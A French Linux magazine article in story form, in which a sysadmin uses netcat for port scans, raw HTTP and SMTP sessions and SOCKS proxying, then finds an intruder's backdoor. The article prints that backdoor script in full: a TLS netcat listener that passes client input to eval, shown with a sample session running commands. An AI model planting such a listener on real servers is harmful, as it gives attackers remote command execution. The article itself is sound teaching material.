Netcat, l’histoire d’un couteau suisse pour le réseau

Magazine
Marque
Linux Pratique
Numéro
123
Mois de parution
janvier 2021
Spécialité(s)


Résumé

Lier le monde de l’administration système et celui du réseau n’est pas chose aisée, ni donné à tout le monde. De nombreux outils présents issus du monde de l’open source essaient désespérément d’y trouver une place. L’un d’entre eux a par ailleurs une longueur d’avance. Permettant de jouer avec la création de socket sur la couche transport du modèle OSI, Netcat rayonne dans le monde underground depuis déjà de nombreuses années. Rien de tel qu’une petite histoire pour parler de ce programme légendaire...


Body

Introduction

3h37 du matin. Le téléphone d’astreinte sonne. Alice sort de son rêve, engourdie par le sommeil, mais trouve le courage de répondre. Une voix énergique et un peu énervée répond au bout du fil : «Alice ? C’est Fred ! Désolé de te réveiller, j’ai un souci sur la prod... il faut que tu me files un coup de main, j’ai perdu l’accès aux serveurs frontaux, y’a des trucs qui déconnent sur les back-end. Impossible d’avoir un prompt dessus ! La sup’ est encore en rade aussi, une nuit comme on les aime...», « Ok, je te tiens au courant, je te recontacte sur Matrix au plus vite ». Alice raccroche, se relève difficilement et s’assoit en tailleur dans son lit. Elle s’étire un peu, et, tout en baillant, récupère le laptop posé sur la table de chevet. L’ordinateur sort de sa courte veille. Elle rentre son login/password sur l’interface de xenodm, et arrive sur cwm, son gestionnaire de fenêtre favori. Le prompt de son terminal xterm clignote, prêt à une nuit d’investigation agitée.

L’architecture de la société Meldo.net est relativement simple. Quelques serveurs frontaux, quelques serveurs pour la partie back-end, des bases de données, des services hébergés sur des infrastructures Cloud… Le nom de domaine du site principal donnant accès aux différents produits est www.meldo.net. Pour commencer son échauffement et tenter se réveiller, Alice vérifie si les services web, utilisant les ports TCP 80 et 443, sont actifs. Pourquoi ne pas utiliser netcat [1] au lieu de nmap ? Netcat, outil créé à la fin des années 80 par un certain Hobbit, permet de créer arbitrairement des sockets réseaux, utilisant les protocoles TCP, UDP ou UNIX. L’argument -z de cette commande permet de faire un scan de port. L’argument -v permet quant à lui d’augmenter la verbosité. Cette fonctionnalité est certes rudimentaire, mais efficace. Netcat ouvre une connexion vers le site distant, et dès qu’une réponse est retournée, coupe la connexion. Cette action permet donc de valider l’état du service TCP distant.

alice@lingwe$ nc -zv www.meldo.net 80
Connection to meldo.net (195.154.221.230) 80 port [tcp/www] succeeded!
alice@lingwe$ nc -zv www.meldo.net 443
Connection to meldo.net (195.154.221.230) 443 port [tcp/https] succeeded

Alice sait aussi que Meldo.net gère quelques serveurs DNS, pour ce faire, rien de tel que l’utilisation de la même commande, mais en utilisant le protocole UDP au moyen du paramètre -u. Le scan d’un service UDP est légèrement différent. Étant donné qu’aucune connexion est créée à proprement parler, netcat envoie plusieurs paquets UDP. Si aucune réponse n’est renvoyée, le port est considéré comme ouvert. Si un paquet ICMP est reçu, alertant que le port en question n’est pas disponible, il est considéré comme fermé. Évidemment, ce type de scan fonctionne mieux quand aucun pare-feu n’est configuré, ce qui est le cas ici.

alice@lingwe$ nc -zuv meldo.net 53
Connection to meldo.net (195.154.221.230) 53 port [udp/domain] succeeded

Le serveur DNS semble être accessible. Alice étant désormais réveillée, une envie soudaine de tester sa mémoire lui vient à l’esprit. La commande curl est bien trop populaire à son goût, pourquoi ne pas forger sa propre commande au moyen de netcat ? Effectivement, netcat redirige les données reçues en entrée vers la connexion ouverte. Le protocole HTTP est un très bon exemple, protocole sans état, textuel jusqu’à la version 1.1, il est facile de créer une requête pour vérifier si un site répond à une donnée en particulier.

alice@lingwe$ printf -- "GET /ping HTTP/1.1\r\nHost: www.meldo.net\r\n\r\n" | nc www.meldo.net 80
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Tue, 20 Oct 2020 19:23:51 GMT
Content-Type: text/html
Content-Length: 162
Connection: close
Location: https://www.meldo.net/
 
<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx</center>
</body>
</html>

Le site www.meldo.net répond correctement à la requête. Cette dernière contient une redirection permanente vers le même site, mais configuré en HTTPS. Étant donné que netcat est un outil relativement polyvalent et simple, il ne suit pas automatiquement la redirection indiquée par le serveur. Alice a un doute, est-ce que netcat supporte les connexions SSL/TLS ? Après une rapide lecture de la page du manuel, le paramètre -c permet d’activer le support des connexions chiffrées. Dans le cas où le certificat serait auto-signé, le paramètre -T suivi de la valeur noverify, permet d’outrepasser la vérification du certificat distant.

alice@lingwe$ nc -c www.meldo.net 443HTTP/1.1 200 OK
Server: nginx
Date: Tue, 20 Oct 2020 19:29:52 GMT
Content-Type: text/html
Content-Length: 34095
Last-Modified: Fri, 28 Feb 2020 16:53:00 GMT
Connection: keep-alive
Vary: Accept-Encoding
ETag: "5e59456c-852f"
Strict-Transport-Security: max-age=63072000
Accept-Ranges: bytes…

Alice se voit déjà rassurée et soupire. Les principales briques de l’infrastructure semblent fonctionnelles et répondent correctement aux différentes requêtes émises par un utilisateur externe. Mais quelques services restent encore à tester, comme le serveur SMTP ou l’accès à l’un des services internes via un « bastion SSH » maison. SMTP est un protocole à état, il nécessite de faire des échanges avec le serveur. Tout comme pour la vérification des services HTTP, netcat peut ici aussi devenir un client SMTP, voire un robot, en utilisant quelques fonctionnalités standards du shell. Pour ce faire, Alice va utiliser son éditeur de texte favori, mg, et créer un script shell permettant de jouer avec le service distant.

#!/bin/sh
# smtp_script.sh - a simple SMTP client implemented in shell scripting
_TARGET=${TARGET:-"localhost"}
_FROM=${FROM:-"me@localhost"}
_TO=${TO:-"root@localhost"}
_SUBJECT=${SUBJECT:-"test"}
_MESSAGE=${MESSAGE:-"my message"}
_STATE="_hello"
 
_debug() {
        printf -- "debug: %s\n" "${*}" 1>&2
}
 
_debug2() {
        local line
        while read line; do
                _debug "send: ${line}"
                printf -- "%s\n" "${line}"
        done
}
 
_hello() {
        printf -- "HELO %s\n" "${_TARGET}" | _debug2
        _STATE="_from"
}
 
_from() {
        printf -- "MAIL FROM: <%s>\n" "${_FROM}" | _debug2
        _STATE="_to"
}
 
_to() {
        printf -- "RCPT TO: <%s>\n" "${_TO}" | _debug2
        _STATE="_data"
}
 
_data() {
        printf -- "DATA\n" | _debug2
        _STATE="_message"
}
 
_message() {
        printf -- "Subject: %s\n\n" "${_SUBJECT}" | _debug2
        printf -- "%s\n.\n" "${_MESSAGE}" | _debug2
        _STATE="_quit"
}
 
_quit() {
        printf -- "QUIT\n" | _debug2
}
 
_smtp_robot() {
        local line
        while read line; do
                _debug "received: ${line}"
                case "${line}" in
                        220*) eval "${_STATE}";;
                        221*) return 0;;
                        250*) eval "${_STATE}";;
                        354*) eval "${_STATE}";;
                        550*) return 1;;
                        *) _debug "received: ${line}";;
                esac
        done
}

Alice sait que netcat peut faire office de relais, récupérant les données en entrée pour les envoyer directement sur le lien distant. Elle sait aussi que cette commande affiche par défaut ce qu’elle reçoit, ce qui permet de réinjecter le retour sur la sortie standard vers une autre commande. Elle crée donc un fichier FIFO, qui servira de queue pour les messages, elle charge le script précédemment créé directement dans son shell, et branche les différents composants entre eux au moyen de pipes ou de redirections. La première commande affiche le contenu du fichier FIFO, ce contenu est redirigé dans netcat, qui se connecte au serveur SMTP distant. La sortie de netcat est traitée par la fonction _smtp_robot(), dont la sortie est redirigée vers le fichier FIFO. La boucle est bouclée. Alice exécute cette commande et envoie manuellement un mail avec quelques fonctionnalités du shell, couplé à netcat.

alice@lingwe$ mkfifo smtp_fifo
alice@lingwe$ . ./smtp_script.sh
alice@lingwe$ cat smtp_fifo | nc smtp.meldo.net 25 | _smtp_robot >> smtp_fifo
...

Le serveur SMTP est fonctionnel ! Alice est rassurée, et pense de plus en plus qu’il s’agit d’un souci temporaire. Pour en être sûre, elle va se connecter via le « bastion SSH », qui permet d’avoir accès au reste de l’infrastructure. Ce bastion est un peu particulier. Il n’offre aucun shell, mais permet à l’utilisateur de créer une redirection dynamique en créant un proxy sock5 au moyen de SSH et du paramètre -D. Le proxy écoute alors sur l’adresse locale de la machine d’Alice, utilisant le port 1080. Pour utiliser ce relais, netcat doit utiliser le paramètre -X suivi de la version du protocole utilisé, ainsi que le paramètre -x suivi du couple adresse/port du serveur distant. Le reste de la commande est similaire aux commandes exécutées précédemment par Alice.

alice@lingwe$ ssh bastion.meldo.net -D 127.0.0.1:1080 &
alice@lingwe$ nc -zv -X 5 -x 127.0.0.1:1080 sql.meldo.net 3306
Connection to sql.meldo.net 3306 port [tcp/mysql] succeeded!

La base de données semble être accessible depuis le bastion, en tout cas la connexion TCP est ouverte. Alice se sent de plus en plus rassurée, mais doit tout de même se connecter sur le serveur principal pour pouvoir vérifier si tout est fonctionnel. Pour ce faire, elle va réutiliser le proxy sock5 entre son laptop et le bastion, pour y faire passer une autre connexion SSH vers le serveur front-end. La commande ssh permet d’utiliser un proxy via l’option ProxyCommand, invoquée ici avec l’argument -o, mais qui pourrait très bien être configuré dans la configuration ssh locale de l’utilisateur présent dans ${HOME}/.ssh/config. Les options %h et %p seront respectivement remplacées par le nom de l’hôte distant et le port associé.

alice@lingwe$ ssh -oProxyCommand="/usr/bin/nc -X 5 -x 127.0.0.1:8080 %h %p" meldo.net
alice@meldo.net$

Arrivée sur le serveur, ce dernier semble peu réactif. Après une analyse rapide des processus actifs avec les commandes ps, netstat et fstat, Alice constate qu’un processus est en écoute sur un port TCP peu commun, le port 64132. Étrange. Qui plus est, ce processus n’est autre que netcat… Alice réfléchit quelques secondes, et après analyse du processus étranger, trouve que la commande est exécutée dans un script stocké dans /tmp/reverse_shell.sh.

#/bin/sh
 
_callback() {
    local line
    while read line; do
        case "${line}" in
            date) printf -- "## "; date;;
            test*) printf -- "## %s\n" "this is just a test";;
            eval*) eval "${line}";;
            *) printf -- "## %s\n" "${line}";;
        esac
    done
}
 
_certificat() {    
        openssl req -x509 -new -outform pem -nodes -subj "/CN=localhost/" \
               -keyout /tmp/server.key -out /tmp/server.crt -batch -days 7}
 
_server() {
    mkfifo /tmp/fifo
    cat /tmp/fifo \        
            | nc -k -c -C /tmp/server.crt -K /tmp/server.key -l 64132 \        
            | _callback >> /tmp/fifo
}
 
_certificat
_server

Il semblerait qu’un petit malin ait trouvé un moyen d’arriver à rentrer sur le serveur et y créer un script ! Ce dernier utilise le même principe que celui d’Alice pour l’envoi de mail. Par ailleurs, c’est une version un peu plus évoluée. La fonction _callback() récupère des instructions et les exécute en renvoyant la réponse de la commande. À noter la fonction built-in eval, qui évalue le contenu de la valeur envoyée par le client. La fonction _certificat() permet de générer une clé ainsi qu’un certificat autosigné avec OpenSSL. Finalement, la fonction _server() génère un fichier FIFO, puis l’utilise en collaboration avec netcat. L’argument -k permet de garder le socket ouvert après la déconnexion d’un client, l’argument -c permet d’activer le chiffrement des connexions. Les arguments -C et -K permettent respectivement de configurer le certificat SSL et sa clé. Finalement, l’argument -l permet de faire écouter netcat sur le port TCP 64132 sur toutes les interfaces disponibles. Pour utiliser ce serveur, rien de tel que l’utilisation de netcat comme client.

alice@lingwe$ nc -c -T noverify www.meldo.net 64132
test
## this is just a test
date
## Thu Oct 22 19:32:09 UTC 2020
eval uname -a
OpenBSD www.meldo.net 6.8 GENERIC.MP#98 amd64
eval pwd
/tmp

Alice a donc trouvé la raison, une personne - probablement mal intentionnée - a trouvé le moyen d’avoir un accès sur le système et installé une porte dérobée utilisant netcat… La matinée vient tout juste de commencer, et de nombreuses actions doivent être prises d’urgence. Cela a tout de même permis à Alice de réviser ses bases en utilisant netcat ! La prochaine étape sera donc d’analyser et de comprendre l’attaque. Mais ceci est une toute autre histoire.

Conclusion

Même si l’article reste dans le domaine de la fiction, la commande netcat reste un outil réellement utile pour les administrateurs systèmes et réseaux. Cet outil est utile dans de nombreuses situations. L’auteur a d’ores et déjà dû utiliser certaines de ces commandes pour venir à bout de problématiques plus ou moins complexes, généralement couplées à des outils comme ssh, tcpdump, nmap, socat ou encore curl. Pour les lecteurs les plus curieux, Alice utilise OpenBSD 6.8, système qui souffle cette année ses 25 bougies. N’oublions pas que toute la communauté sait qu’il n’y a eu que 2 failles à distances sur ce système et depuis un sacré bout de temps ! L’intégralité de l’article est par ailleurs reproductible sur la majorité des systèmes Unix/Linux standard, la version de netcat pour OpenBSD se nomme généralement netcat-openbsd.

Référence

[1] Documentation officielle d’OpenBSD Netcat : https://man.openbsd.org/nc

Pour aller plus loin

Netcat a eu de très nombreuses implémentations. L’équipe derrière nmap a créé ncat, une version marquée du sceau de GNU existe aussi et ne pas oublier socat, outil se rapprochant de netcat, mais offrant une plus grande souplesse au niveau des options. Merci le Hobbit pour cette création ! Chapeau bas, l’ami !



Article rédigé par

Par le(s) même(s) auteur(s)

Introduction à l’écriture de tests avec Erlang/OTP

Magazine
Marque
GNU/Linux Magazine
HS n°
Numéro
113
Mois de parution
mars 2021
Spécialité(s)
Résumé

Les tests ont toujours été un facteur non négligeable de réussite lors de la conception d’un projet de développement. Ces différentes procédures, accompagnant généralement le code source, permettent d’augmenter grandement la qualité d’une application, qu’elle soit libre ou fermée. Même s’il est vrai qu’un programme ne peut-être testé dans son intégralité, les tests mis en place permettront de livrer à l’utilisateur final un système stable ainsi qu’une garantie de fonctionnement. Bien entendu, Erlang/OTP n’est pas en reste, et fournit aux développeurs tout un arsenal d’outils agissant sur l’excellence du produit.

Gestion de projets avec Erlang/OTP

Magazine
Marque
GNU/Linux Magazine
Numéro
245
Mois de parution
février 2021
Spécialité(s)
Résumé

Un langage de programmation se doit d’être facile d’accès, que ce soit pour son apprentissage, la réalisation de concepts ou de produits finaux. La création de projets en Erlang se fait via les notions d’application et de release. Couplés à différents outils internes ou fournis par la communauté, ces principes permettent de créer un environnement de production flexible et maintenable sur le long terme, tout en facilitant la diffusion et le partage des modules conçus par les créateurs.

Système extensible et hautement disponible avec Erlang/OTP

Magazine
Marque
GNU/Linux Magazine
Numéro
241
Mois de parution
octobre 2020
Spécialité(s)
Résumé

Erlang est un langage de programmation fonctionnel et distribué, créé à la fin des années 80 pour régler de nombreux problèmes issus du monde des télécoms, et plus généralement de l’industrie. Outre le fait qu’il soit l’une des seules implémentations réussies du modèle acteur disponible sur le marché, son autre grande particularité est d’être livré avec une suite d’outils, de modèles et de principes conçus pour offrir un environnement cohérent. Ce framework, nommé OTP, fait partie intégrante de la vie des développeurs utilisant Erlang au jour le jour...

Les derniers articles Premiums

Les derniers articles Premium

Du graphisme dans un terminal ? Oui, avec sixel

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

On le voit de plus en plus, les outils en ligne de commandes s'étoffent peu à peu d'éléments graphiques sous la forme d'émojis UTF8. Plus qu'une simple décoration, cette pointe de « graphisme » dans un monde de texte apporte réellement un plus en termes d'expérience utilisateur et véhicule, de façon condensée, des informations utiles. Pour autant, cette façon de sortir du cadre purement textuel d'un terminal n'est en rien une nouveauté. Pour preuve, fin des années 80 DEC introduisait le VT340 supportant des graphismes en couleurs, et cette compatibilité existe toujours...

Game & Watch : utilisons judicieusement la mémoire

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Au terme de l'article précédent [1] concernant la transformation de la console Nintendo Game & Watch en plateforme de développement, nous nous sommes heurtés à un problème : les 128 Ko de flash intégrés au microcontrôleur STM32 sont une ressource précieuse, car en quantité réduite. Mais heureusement pour nous, le STM32H7B0 dispose d'une mémoire vive de taille conséquente (~ 1,2 Mo) et se trouve être connecté à une flash externe QSPI offrant autant d'espace. Pour pouvoir développer des codes plus étoffés, nous devons apprendre à utiliser ces deux ressources.

Les listes de lecture

8 article(s) - ajoutée le 01/07/2020
Découvrez notre sélection d'articles pour faire vos premiers pas avec les conteneurs, apprendre à les configurer et les utiliser au quotidien.
11 article(s) - ajoutée le 02/07/2020
Si vous recherchez quels sont les outils du DevOps et comment les utiliser, cette liste est faite pour vous.
8 article(s) - ajoutée le 02/07/2020
Il est essentiel d'effectuer des sauvegardes régulières de son travail pour éviter de perdre toutes ses données bêtement. De nombreux outils sont disponibles pour nous assister dans cette tâche.
Voir les 49 listes de lecture

Abonnez-vous maintenant

et profitez de tous les contenus en illimité

Je découvre les offres

Déjà abonné ? Connectez-vous